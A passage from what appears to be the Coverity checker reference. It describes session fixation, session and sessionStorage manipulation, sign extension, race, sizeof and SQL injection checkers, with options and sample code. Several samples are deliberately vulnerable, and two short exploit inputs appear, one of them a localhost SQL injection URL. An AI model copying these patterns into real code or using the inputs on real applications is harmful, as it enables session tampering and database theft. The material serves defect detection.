}
```

If an attacker can influence a victim to use an attacker-provided value (for example, through a cross-site request forgery attack), the attacker can set the victim's session to a known value. If the victim then authenticates to the application using the attacker-provided session token, the attacker can impersonate the victim by re-using the same session token. (The session token is what the application uses to uniquely identify different users.)

## 4.279.3. Events

This section describes one or more events produced by the SESSION\_FIXATION checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.

### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.

- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

## 4.280. SESSION\_MANIPULATION

Security Checker

### 4.280.1. Overview

**Supported Languages:** Ruby

Web sessions add state to the HTTP protocol in order to consistently identify a user. Often these sessions consist of key-value pairs stored in web cookies or on the web server.

`SESSION_MANIPULATION` defects indicate that uncontrolled dynamic data is used to specify a key in a session. An attacker might use these defects to manipulate their session: for example, to change their user or upgrade their privileges.

**Enabled by default:** `SESSION_MANIPULATION` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.280.2. Defect Anatomy

`SESSION_MANIPULATION` reports defects when user-controllable data is used to set the key of a session attribute.

### 4.280.3. Examples

This section provides one or more `SESSION_MANIPULATION` examples.

The following Ruby-on-Rails example demonstrates use of an HTTP request value as the key in a session store.

```
class ExampleController < ApplicationController
 def show
 session[params[:session_key]] = params[:session_value]
 end
end
```

## 4.281. SESSIONSTORAGE\_MANIPULATION

Security Checker

### 4.281.1. Overview

**Supported Languages:** JavaScript, TypeScript

`SESSIONSTORAGE_MANIPULATION` reports a defect in client-side JavaScript code that uses a user-controllable string to construct a key in `sessionStorage`. Such code might allow an attacker to alter the behavior of the application by overwriting data that is stored at a sensitive key, or by adding new keys.

**Disabled by default:** `SESSIONSTORAGE_MANIPULATION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `SESSIONSTORAGE_MANIPULATION` along with other Web application checkers, use the `--webapp-security` option.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.281.2. Defect Anatomy

A `SESSIONSTORAGE_MANIPULATION` defect shows a dataflow path by which untrusted (tainted) data forms the name of a key in `sessionStorage`. The path starts at a source of untrusted data, for example, a property of the URL that an attacker might control (such as, `window.location.hash`) or data from a different frame. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The final part of the path shows the data flowing into the the name of a key in `sessionStorage`.

### 4.281.3. Examples

This section provides one or more `SESSIONSTORAGE_MANIPULATION` examples.

If the attacker sets the `shoppingCartItem` request parameter to `userid` then the call to `sessionStorage.setItem` will overwrite the `userid` key in `sessionStorage`.

```
function extract(str, key) {
 if (str == null) return '';
 var keyStart = str.indexOf(key + "=");
 if (-1 === keyStart) return '';
 var valStart = 1 + str.indexOf("=", keyStart);
 var valEnd = str.indexOf("&", keyStart);
```

```
var val = -1 === valEnd ? str.substring(valStart) : str.substring(valStart, valEnd);
return val;
}

function init() {
 sessionStorage.setItem("userid", 1001);

 var h = location.search.substring(1);
 if (h.indexOf("shoppingCartItem=") >= 0) {
 var itemName = extract(h, "shoppingCartItem");
 var storedQuantity = sessionStorage.getItem(itemName);
 var previousQuantity =
 (storedQuantity === undefined) ? 0 : parseInt(storedQuantity);
 sessionStorage.setItem(itemName, previousQuantity + 1);
 }

 console.log(sessionStorage.getItem("userid"));
}
window.onload = init;
```

Example exploit: Append the following fragment to the page URL to change the value of `userid` stored in `sessionStorage`.

```
?shoppingCartItem=userid
```

#### 4.281.4. Options

This section describes one or more `SESSIONSTORAGE_MANIPULATION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `SESSIONSTORAGE_MANIPULATION:distrust_all:<boolean>` - Setting this option to `true` is equivalent to setting all `trust_*` checker options for this checker to `false`. Defaults to `SESSIONSTORAGE_MANIPULATION:distrust_all:false`.

This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `SESSIONSTORAGE_MANIPULATION:trust_js_client_cookie:<boolean>` - When this option is set to `false`, the analysis does not trust data from cookies in client-side JavaScript code, for example from `document.cookie`. This option was formerly called `trust_client_cookie`. Defaults to `SESSIONSTORAGE_MANIPULATION:trust_js_client_cookie:true`.
- `SESSIONSTORAGE_MANIPULATION:trust_js_client_external:<boolean>` - When this option is set to `false`, the analysis does not trust data from the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Note: this option was formerly called `trust_external`. Defaults to `SESSIONSTORAGE_MANIPULATION:trust_js_client_external:false`.
- `SESSIONSTORAGE_MANIPULATION:trust_js_client_html_element:<boolean>` - When this option is set to `false`, the analysis does not trust data from user input on HTML

elements such as `textarea` and `input` elements in client-side JavaScript code. Defaults to `SESSIONSTORAGE_MANIPULATION:trust_js_client_html_element:true`.

- `SESSIONSTORAGE_MANIPULATION:trust_js_client_http_header:<boolean>` - When this option is set to false, the analysis does not trust data from HTTP response headers on the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Defaults to `SESSIONSTORAGE_MANIPULATION:trust_js_client_http_header:true`.
- `SESSIONSTORAGE_MANIPULATION:trust_js_client_other_origin:<boolean>` - When this option is set to false, the analysis does not trust data from content in another frame or from another origin, for example from `window.name`, in client-side JavaScript code. Defaults to `SESSIONSTORAGE_MANIPULATION:trust_js_client_other_origin:false`.
- `SESSIONSTORAGE_MANIPULATION:trust_js_client_url_query_or_fragment:<boolean>` - When this option is set to false, the analysis does not trust data from the query or fragment part of the URL, for example from `location.hash` or `location.query`, in client-side JavaScript code. Defaults to `SESSIONSTORAGE_MANIPULATION:trust_js_client_url_query_or_fragment:false`.
- `SESSIONSTORAGE_MANIPULATION:trust_js_client_storage:<boolean>` - When this option is set to false, the analysis does not trust data from the HTML client storage objects `localStorage` and `sessionStorage` in client-side JavaScript code. Defaults to `SESSIONSTORAGE_MANIPULATION:trust_js_client_storage:true`.
- `SESSIONSTORAGE_MANIPULATION:trust_mobile_other_app:<boolean>` - Setting this option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `SESSIONSTORAGE_MANIPULATION:trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.
- `SESSIONSTORAGE_MANIPULATION:trust_mobile_other_privileged_app:<boolean>` - Setting this option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `SESSIONSTORAGE_MANIPULATION:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.
- `SESSIONSTORAGE_MANIPULATION:trust_mobile_same_app:<boolean>` - Setting this option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `SESSIONSTORAGE_MANIPULATION:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `SESSIONSTORAGE_MANIPULATION:trust_mobile_user_input:<boolean>` - Setting this option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `SESSIONSTORAGE_MANIPULATION:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.

## 4.282. SIGN\_EXTENSION

Quality Checker

### 4.282.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`SIGN_EXTENSION` finds many cases where a value is sign-extended when converting from a smaller data type to a larger data type, but it appears that sign extension is not intended because the quantity is essentially unsigned. Most commonly, this happens in code that does a 32-bit endian swap, storing the result in a 64-bit data type. The intermediate 32-bit result must be explicitly cast to an unsigned type in order to suppress the sign extension.

Specifically, it finds cases where the following is true:

- An unsigned quantity is implicitly promoted to a wider signed quantity.
- An arithmetic operation is performed (such as a left-shift) that might lead to the `sign` bit being set to 1.
- That value is implicitly converted to an even wider type, which causes a possibly unintended sign extension.

The consequence of a sign extension is the result value has all of its high bits set to 1, and consequently is interpreted as a very large value. If this is not intended, then the code will likely misbehave in some application-specific way.

**Enabled by default:** `SIGN_EXTENSION` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.282.2. Examples

This section provides one or more `SIGN_EXTENSION` examples.

In the following example, the intent is to interpret the bytes `p[0..3]` as an unsigned integer in little-endian format (the first byte, `p[0]`, is the least significant):

```
unsigned long readLittleEndian(unsigned char *p)
{
 return p[0] |
 (p[1] << 8) |
 (p[2] << 16) |
 (p[3] << 24);
}
```

However, the code is subtly wrong if `unsigned long` is larger than `int`, as is the case on 64-bit Linux systems. The left-hand argument in `p[3] << 24` has type `unsigned char`, but it is promoted to `int` before being used, and that is the result type of the shift. If the high bit of `p[3]` is set (that is, `p[3]` is greater than 127), then the resulting integer value has its high bit set as well as a result of the left-shift operation. This value is then bitwise-OR'd with the other byte values. Finally, the `int` value with

its high bit set is converted to `unsigned long`, which requires sign-extending the value first (so that if it is converted back to a signed type it will be restored to its original value).

The language rules vary by operator, but in general, arguments to arithmetic operations are first *promoted*, which means the first type from among `int`, `unsigned int`, `long`, and `unsigned long` that can represent all of the values in the original type is selected as the promoted type. In practice, for typical type sizes, `char` and `short` types (both signed and unsigned) are promoted to `int`, and all other types are unchanged by promotion. For further information, see the C++03 standard, sections 4.5, 5/9, and (e.g.) 5.9/2, or the C99 standard, sections 6.3.1.1, 6.3.1.8 and (e.g.) 6.5.7/3.

Consequently, the following program, using the previous definition for `readLittleEndian`, prints `"0xFFFFFFFF80010203"` rather than the expected `"0x80010203"` on a machine where `int` is 32 bits and `long` is 64 bits:

```
#include <stdio.h> // printf
int main()
{
 unsigned char bytes[4] = { 0x03, 0x02, 0x01, 0x80 };
 unsigned long result = readLittleEndian(bytes);
 printf("0x%lX\n", result);
}
```

To correct this problem, add an explicit cast to an unsigned type. Although there are several possible locations for the cast, one example is:

```
unsigned long readLittleEndianFixed(unsigned char *p)
{
 return (unsigned int)(p[0] |
 (p[1] << 8) |
 (p[2] << 16) |
 (p[3] << 24));
}
```

### 4.282.3. Options

This section describes one or more `SIGN_EXTENSION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `SIGN_EXTENSION:require_unsigned_dest:<boolean>` - When this option is set to `true`, the result type of the sign-extending cast must be unsigned in order to be reported as a defect. Defaults to `SIGN_EXTENSION:require_unsigned_dest:false`

### 4.282.4. Events

This section describes one or more events produced by the `SIGN_EXTENSION` checker.

- `sign_extension` - Suspicious implicit sign extension (shows original expression and intermediate expression).

## 4.283. SINGLETON\_RACE

Quality, Security Checker

### 4.283.1. Overview

**Supported Languages:** Java

`SINGLETON_RACE` checker finds many cases where a singleton object can handle multiple requests simultaneously with different threads (for example, a servlet), but the code that handles the requests does not safely synchronize access to instance or static fields of the class. The checker reports these thread-unsafe updates as defects.

The checker reports defects in the following classes:

- A class extends `org.springframework.web.servlet.mvc.Controller`, which indicates that it is a Spring MVC controller.
- A class has the annotation `org.springframework.stereotype.Controller`, which is another way of specifying a Spring MVC controller.
- A class extends `javax.servlet.Servlet`.

### 4.283.2. Examples

This section provides one or more `SINGLETON_RACE` examples.

In the following example, it is possible for two separate requests to read the value of `i` at exactly the same time and therefore increase the value of `i` by only one when the expected result is to increase its value by the number of requests (in this case, two).

Similar problems occur with updates to static fields from a singleton class. In the example, `j` contains a race condition.

These races can be addressed in a couple of different ways:

- Using synchronization constructs, which can be expensive in the context of Web applications.
- Redesigning the class so as not to save any state within it and maintaining all data as part of the request or through other application-specific mechanisms.

```
class SampleObject {
 int n;
 void foo() {
 n++;
 }
}

@Controller
class ExampleController {
```

```
SampleObject i;
static int j;

@RequestMapping("/process")
String process () {
 i.foo(); //defect here
 j--, //defect here
 return "test";
}
}
```

### 4.283.3. Events

This section describes one or more events produced by the `SINGLETON_RACE` checker.

- `unsafe_modification`: A `this.<fieldname>` (or `<Classname>.<fieldname>`, if static) is modified without proper synchronization. This member might be written by multiple threads that are serving simultaneous requests, leading to unpredictable behavior.
- `thread_unsafe_modification`: A `<fieldname>` is modified without proper synchronization.

## 4.284. SIZECHECK

Quality Checker

### 4.284.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

DEPRECATED as of version 7.0: `SIZECHECK` finds many instances of pointer assigned memory allocations where the pointer's target type is larger than the block allocated. For example, if a pointer to a `long` is assigned a block the size of an `int`. Note that checker options can expand the scope of defects that this checker finds.

If a pointer points to a block which is too small, then attempts to use it could reference out-of-bounds memory, which can potentially cause heap corruption, program crashes, and other serious problems.

`SIZECHECK` false positives are the result of either an incorrect calculation of the amount of memory allocated, or the amount of memory that should have been allocated. If `SIZECHECK` incorrectly analyzes a function that returns heap-allocated memory, you can correctly model the function's abstract behavior using a library call. If a misunderstood context-specific property causes a false positive, you can annotate that property with a `//coverity` comment. See [Suppressing false positives with code-line annotations](#).

**Disabled by default:** `SIZECHECK` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

### 4.284.2. Examples

In the following example, the allocation is too small for the pointer's target type: `sizeof(*ptr)` was probably intended.

```
struct sizecheck_example_t {
 int n;
 float f;
 char s[4];
 void *p;
};

struct sizecheck_example_t *sizecheck_example(void) {
 struct sizecheck_example_t *ptr;
 ptr = (sizecheck_example_t *)malloc(sizeof(ptr));
 return ptr;
}
```

### 4.284.3. Options

This section describes one or more `SIZECHECK` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `SIZECHECK:improper_new:<boolean>` - Finds defects where the wrong syntax for `new()` is used. Defaults to `SIZECHECK:improper_new:false`

For example, the following code allocates one byte, and assigns it the value 32:

```
char *p = new char(32);
```

- `SIZECHECK:incorrect_multiplication:<boolean>` - Finds defects where the memory allocated is calculated using a multiple of a constant that is not the same size as the pointer's target type. Defaults to `SIZECHECK:incorrect_multiplication:true`

For example:

```
long *p = malloc(len * sizeof(int));
```

Because `sizeof(int)` is not the same as `sizeof(long)`, a defect is reported.

- `SIZECHECK:ampersand_in_size:<boolean>` - Finds defects where the memory allocated is calculated using the bitwise AND operator (`&`) and two quantities. Defaults to `SIZECHECK:ampersand_in_size:true`

For example:

```
int *p = malloc(len & sizeof(int));
```

This defect is likely the result of `&` and `*` being adjacent on the keyboard.

### 4.284.4. Events

This section describes one or more events produced by the `SIZECHECK` checker.

- `buffer_alloc` - A buffer of known size was allocated.
- `size_event` - The allocation size is incorrect and an error will be reported.
- `size_is_strlen` - The size argument to an allocator is a call to `strlen`. Normally, if `strlen` is used in a size argument, add 1 to the result before doing the allocation.

## 4.285. SIZEOF\_MISMATCH

Quality Checker

### 4.285.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`SIZEOF_MISMATCH` finds combinations of pointers and `sizeof` expressions that appear to be mismatched. When a pointer and `sizeof` expression occur together, the `sizeof` expression is usually the size of memory that the pointer points to.

The checker also reports defects in a limited number of cases where a `size_t` argument is expected but no `sizeof` expression is provided. This occurs when the semantics of a function are known and the `size_t` argument is expected to be the size of memory to which a pointer points, as well as in a small number of cases where it appears that the `size_t` argument is intended to be the size of some pointed-to memory.

This checker reports the following combinations of pointer and `sizeof` expressions:

- function arguments and return values
- extraneous `sizeof` expression in pointer arithmetic

The following example contains a common mismatch between a two function arguments: a pointer and a `sizeof` expression (where `sizeof(*ptr)` was intended, instead of `sizeof(ptr)`):

```
memcpy(&obj, ptr, sizeof(ptr))
```

The following example contains a mismatch between a pointer and a `size_t` on a 64-bit machine where no `sizeof` expression is provided (and either the size of a pointer (8) or a pointer to an integer (`*i`) was intended):

```
int **i;
memset(i, 0, 4);
```

When an offset is added to a pointer, the value of the offset is automatically scaled up (multiplied) by the size of the object that the pointer points to. It is incorrect to explicitly scale up by multiplying the offset by a `sizeof` expression. This leads to the offset being scaled up by the square of the offset amount.

It is also incorrect to explicitly scale down the *difference* of two pointers by dividing that difference by a `sizeof` expression. Both types of constructs are reported as defects.

The following figure graphically represents scaling for pointer arithmetic:

```
short array[5];
short *p = array; // == &array[0]
// p -> b b
// b b
// b b
// b b
// b b

short *q = p + 3; // == &p[3] == &array[3]
// b b
// b b
// b b
// q -> b b
// b b

short *r = p + 3 * sizeof(short); // == &p[3 * sizeof(short)] == &p[3 * 2]
// == &p[6] == &array[6]
// b b
// ? ? out of bounds
// r -> ? ? out of bounds
```

The preceding types of defects can be detected directly within pointer-arithmetic expressions, or indirectly when the difference of two pointers is compared to a `sizeof` expression.

Except in specific buffer-overflow cases, it is not possible to conclude with certainty that any given defect that this checker reports constitutes a bug. In most cases, it is possible that some unusual manipulation was intentional. Consequently, you should carefully inspect all `SIZEOF_MISMATCH` defects before you attempt to fix them. In many cases, the defect report includes the checker's best guess as to what the code was meant to do and what change might fix it. These suggestions are educated guesses, and only suggestions. You must determine what the code does, if there is really a defect, and if so, what the correct fix is.

**Enabled by default:** `SIZEOF_MISMATCH` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

## 4.285.2. Examples

This section provides one or more `SIZEOF_MISMATCH` examples.

In the following example, only 4 or 8 bytes of the 100-byte object `buf` are cleared. This particular defect is also reported by the `BAD_SIZEOF` checker:

```
struct buffer {
 char b[100];
};
void f() {
 struct buffer buf;
```

```
memset(&buf, 0, sizeof(&buf)); /* Defect: should have been "sizeof(buf)" */
}
```

In the following example, only 4 or 8 bytes are allocated for a 100-byte object:

```
struct buffer {
 char b[100];
};

void f() {
 struct buffer *p = (struct buffer *)malloc(sizeof(struct buffer *));
 /* Defect: should be "sizeof(struct buffer)" */
}
```

In the following example, a defect is not reported because even though the `sizeof(short)` argument to `f` does not match the `&ps` argument, it does match the `&s` argument:

```
void f(void *, void **, size_t);

void g() {
 short s;
 short *ps;

 f(&s, &ps, sizeof(short));
}
```

In the following example, the pointer `p` is incremented by 10000 bytes, not 100 bytes as intended:

```
struct buffer {
 char b[100];
};

void f(struct buffer *p) {
 p += sizeof(struct buffer); /* Defect: "sizeof(struct buffer)" should be "1" */
}
```

In the following example, it is likely incorrect to compare the difference between `q` and `p` to the size of the type that they point to, because the pointer difference is automatically scaled down by that amount:

```
struct buffer {
 char b[100];
};

void f(struct buffer *p, struct buffer *q) {
 if (q - p > 3 * sizeof(*p)) /* Defect: "* sizeof(*p)" is extraneous */
 printf("q too far ahead of p\n");
}
```

In the following example, the difference between `cur` and `array` is automatically scaled down by `sizeof(struct buffer)`, yielding the position within the array, so further dividing this value by `sizeof(struct buffer)` always yields zero:

```
struct buffer {
 char b[100];
};

struct buffer array[30];

void f(struct buffer *cur) {
 size_t pos = (cur - array) / sizeof(struct buffer); /* Defect: "/" sizeof(struct
 buffer)" is extraneous */
}
```

### 4.285.3. Options

This section describes one or more `SIZEOF_MISMATCH` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `SIZEOF_MISMATCH:strict_memcpy:<boolean>` - If this option is set to `true`, the checker reports a defect for a mismatch between the function arguments of `memcpy(dest, src, n)`. The mismatch can occur between `n` and `dest` or between `n` and `src`. Defaults to `SIZEOF_MISMATCH:strict_memcpy:false`

### 4.285.4. Events

This section describes one or more events produced by the `SIZEOF_MISMATCH` checker.

- `suspicious_sizeof` - The subsequent line combines a `sizeof` expression and a pointer argument or return value in a questionable way.
- `suspicious_pointer_arithmetic` - The subsequent line adds or subtracts a `sizeof` expression to or from a pointer expression in a questionable way.
- `suspicious_comparison` - The subsequent line compares a pointer difference expression to a `sizeof` expression in a questionable way.
- `suspicious_division` - The subsequent line divides a pointer difference expression by a `sizeof` expression in a questionable way.

## 4.286. SLEEP

Quality, Concurrency Checker

### 4.286.1. Overview

**Supported Languages:** C, C++, Go, Objective-C, Objective-C++

`SLEEP` finds many cases where a function that sleeps is called while a lock/mutex is held. This will prevent other threads that are trying to acquire the same lock from continuing until the lock is released, which might take a long time, leading to performance degradation or even deadlock. `SLEEP` will not report anything until at least one primitive function is modeled as sleeping. Even the POSIX `sleep`

function is not modeled that way. The utility of this checker varies greatly by code base, as does the right set of "sleeping" functions.

Incorrect derivations of blocking functions, such as a function which blocks occasionally but not in all cases, are the most common causes of false positives. You can correct this with a model correctly indicating the function's behavior or with an annotation to suppress the block model. The annotation should suppress the `blocks` property.

To report any results, the SLEEP checker requires modeling by using the `__coverity_sleep__()` primitive. For more information, see Section 5.1.12.1, "Adding models for concurrency checking".

**Disabled by default:** SLEEP is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Concurrency checker enablement:** To enable SLEEP along with other concurrency checkers that are disabled by default, use the `--concurrency` option with the `cov-analyze` command.

## 4.286.2. Examples

This section provides one or more SLEEP examples.

### 4.286.2.1. C languages

```
void mutex_acquire(int *p) {
 __coverity_exclusive_lock_acquire__(*p);
}
void mutex_release(int *p) {
 __coverity_exclusive_lock_release__(*p);
}
int my_accept(int i) {
 __coverity_sleep__();
 return i;
}

int *connection_count_lock;
int fd, socket_fd, connection_count;

// BUG (locks are exclusive)

// Thread one enters here
int block_example() {
 mutex_acquire(connection_count_lock); // Lock acquired too soon
 fd = my_accept(socket_fd); // Can wait for a long time
 connection_count++;
 mutex_release(connection_count_lock); // Now info() can run
 return fd;
}

// Thread two enters here
void info() {
```

```
mutex_acquire(connection_count_lock); /* Cannot proceed,
 thread one holds lock */
printf("The connection count is %d\n", connection_count);
mutex_release(connection_count_lock);
}

// NOT BUG (recursive lock)
void rec_mutex_acquire(int *p) {
 __coverity_recursive_lock_acquire__(*p);
}
void rec_mutex_release(int *p) {
 __coverity_recursive_lock_acquire__(*p);
}

int example2A() {
 rec_mutex_acquire(connection_count_lock);
 fd = my_accept(socket_fd);
 connection_count++;
 rec_mutex_release(connection_count_lock);
 return fd;
}

void example2B() {
 rec_mutex_acquire(connection_count_lock);
 printf("The connection count is %d\n", connection_count);
 rec_mutex_release(connection_count_lock);
}
```

#### 4.286.2.2. Go

In the following example, other threads can't access the shared resource until the `sleepWhileLocked` function releases the lock once the sleep timer has expired.

```
type SharedResource struct {
 mutex sync.Mutex
 resource int
}

var myResource SharedResource

func sleepWhileLocked() {
 myResource.mutex.Lock()
 time.Sleep(100 * time.Millisecond); //defect
 myResource.mutex.Unlock()
}
```

#### 4.286.3. Events

This section describes one or more events produced by the `SLEEP` checker.

- `lock_acquire` : A lock is acquired.

- `sleep` : A sleeping function is called.

## 4.287. SQL\_NOT\_CONSTANT

Security Audit Checker

### 4.287.1. Overview

**Supported Languages:** Java, C#, Visual Basic

The `SQL_NOT_CONSTANT` checker reports any concatenation of a non-constant value into an SQL command or query string. It is a best practice to use parameterized queries for incorporating dynamic values, whether they are from trusted data sources or not. The parameterization prevents any malicious or rogue values from altering the intent of the SQL command. Using the `SQL_NOT_CONSTANT` checker is one way to protect your code against SQL injection vulnerabilities.

If the dynamic value is determined by analysis to come from a distrusted source, a high impact SQLI defect is reported.

**Disabled by default:** `SQL_NOT_CONSTANT` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security audit enablement:** To enable `SQL_NOT_CONSTANT` along with other security audit features, use the `--enable-audit-mode` option. Enabling audit mode has other effects on checkers. For more information, see the description of the `cov-analyze` command in the *Coverity Command Reference*.

### 4.287.2. Defect Anatomy

The main event of an `SQL_NOT_CONSTANT` defect is the concatenation of an SQL command and a dynamic value. The defect describes where this command is passed to a database API.

### 4.287.3. Examples

This section provides one or more `SQL_NOT_CONSTANT` examples.

---

#### 4.287.3.1. Java

The code snippet below constructs a `PreparedStatement` to execute an SQL query. This is not the recommended use of a `PreparedStatement` because it concatenates the dynamic values directly into the command string instead of using its parameterization feature. The checker reports three defects here: the concatenation of the `groupID` variable, the concatenation of the `parentFolderId` variable, and the concatenation of the `name` variable.

```
Connection dbConnection = null;
PreparedStatement stmt = null;
ResultSet result = null;

try {
 dbConnection = DataAccess.getConnection();
```

```

stmt = dbConnection.prepareStatement(
 "select folderId from DLFolder where groupId = " + groupId +
 " and parentFolderId = " + parentFolderId +
 " and name = '" + name + "'");

result = ps.executeQuery();
}
// ...

```

#### 4.287.3.2. C#

The following C# method uses a non-constant `id` parameter to construct an SQL query.

```

public SqlDataAdapter getIdAdapter(String id)
{
 String command = "SELECT * FROM TABLE WHERE id =" + id;

 const string connectionString = "...";
 return new SqlDataAdapter(command, connectionString);
}

```

#### 4.287.3.3. Visual Basic

The following Visual Basic subroutine uses a non-constant `addrName` parameter to build an SQL update command.

```

Public Sub IncrAddrCount(addrName as String)
 Dim sqlCon = New SqlConnection("Data source=...")
 sqlCon.Open()

 Dim sqlText as String = "UPDATE addrTable SET clickCount " & _
 "WHERE addrName = " + addrName

 Dim cmd = New SqlCommand(sqlText, sqlCon)
 cmd.ExecuteNonQuery()
End Sub

```

### 4.288. SQLI

Security Checker

#### 4.288.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, JavaScript, Kotlin, Objective-C, Objective-C++, PHP, Python, Ruby, Swift, TypeScript, Visual Basic

SQLI finds many instances where a method that interprets a string as SQL is given an argument that might be under the control of an attacker.

Interpreting strings from untrusted sources as SQL can allow a malicious user to exfiltrate (that is, steal), corrupt, or destroy information in a database that is being queried. Typically, this error is caused by using

unsafe methods to construct SQL statements: concatenating unsanitized strings directly into the query, or sanitizing untrusted input in an incorrect way.

By default, the SQLI checker treats values as though they are tainted if they come from the network (either through sockets or HTTP requests). The checker can also be configured to treat values from the filesystem or the database as though they are tainted (see Section 4.288.4, “Options”).

For more information on the risks and consequences of SQL injection, see Chapter 6, . For detailed information about the potential security vulnerabilities found by this checker, see Section 6.1.4.1, “SQL Injection (SQLi)”.

**Security checker enablement:** The option you use to enable `SQLI` checking, along with other security checkers, varies by language. In general, the `--webapp-security`, or `--android-security` option to the `cov-analyze` command.

- For C/C++ or Objective-C/C++, use the `--security` option.
- For C#, JavaScript, PHP, Python, TypeScript, or Visual Basic, use the `--webapp-security` option.
- For Java, you can also use the `--android-security` or `--webapp-security` option.
- For Go, Kotlin, Ruby, and Swift, `SQLI` is enabled by default.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

## 4.288.2. Defect Anatomy

An SQLI defect shows a dataflow path by which untrusted (tainted) data makes its way into a database function that executes an SQL statement or into an SQL query. From there, it flows into an SQL (or HQL, or similar) interpreter, which thereby becomes vulnerable to attack.

### Java, C#, Visual Basic

The path starts at a source of untrusted data, such as input from a network socket or a method call that returns an HTTP request parameter or the parameter to a function that a framework populates with such data. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The main event of the defect (typically the first one shown in the UI) shows the tainted data concatenated into an SQL string, but in some cases the main event shows the tainted data flowing directly into an SQL interpreter. The final part of the path shows the data flowing into an SQL-related function or SQL interpreter.

### Go, Kotlin, JavaScript

The main event shows where untrusted data, such as data from a HTTP request or network socket, flows into a database API. The supporting events show the origin of the untrusted data. For example, the untrusted data might be returned from a callee or passed in by a framework. Other supporting events show the flow of the untrusted data into the database API. These events might follow the untrusted data through function calls. A second set of events (if present) show additional contextual information.

## 4.288.3. Examples

This section provides one or more `SQLI` examples.

#### 4.288.3.1. C, C++

In the following example, tainted data coming from the network is used as a query in an SQL statement in an unsafe manner. The defect occurs on the third line of the `if` statement.

```
void runUserQuery(sqlite3 *db) {
 char user_query[128];
 if (recv(socket, user_query, sizeof(user_query), 0) > 0) {
 char *error_msg;
 int ret = sqlite_exec(db, user_query, 0, 0, &error_msg);
 }
}
```

#### 4.288.3.2. C#

In the following example, tainted data from an HTTP request is concatenated to an SQL query in an unsafe manner.

```
using System.Data;
using System.Data.SqlClient;
using System.Web;

public class SQLI {

 string connection;
 HttpRequest req;
 DataSet dataSet;

 public void test() {
 var da = new SqlDataAdapter("SELECT * FROM users WHERE name = "
 + req["name"], connection); // Defect
 da.Fill(dataSet);
 }
}
```

#### 4.288.3.3. Go

In the following example, tainted data from an HTTP request is concatenated to an SQL query in an unsafe manner, and the query is executed. The defect is shown for the `db.Query` statement.

```
package main

import "database/sql"
import "net/http"
import "github.com/julienschmidt/httprouter"

func sqli(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
 name := params.ByName("name")
 db, err := sql.Open("...", "...")
 defer db.Close()
 db.Query(name)
```

```

 db.Query("SELECT * FROM users WHERE name = " + name) //defect here
}

```

#### 4.288.3.4. Java

For examples, see Section 6.1.4.1, “SQL Injection (SQLi)”.

#### 4.288.3.5. JavaScript

The following code example shows a vulnerable Node.js Web application using the Express framework.

```

const express = require("express");
const app = express();

function getConnectionConfig() {
 //...
}

app.get("/",
 function run(req, res, next) { // Defect
 const id = req.query.id;
 const query = `select * from User where userid=${id}`;
 const sql = require("mssql");

 sql.connect(getConnectionConfig()).then(
 function() {
 new sql.Request().query(query).then(
 function (recordSet) {
 //...
 });
 });

 res.send("Done");
 });

app.listen(1337, function() {
 console.log("Express listening...");
});
// example exploit: http://127.0.0.1:1337/?id=1+or+2>1

```

#### 4.288.3.6. Kotlin

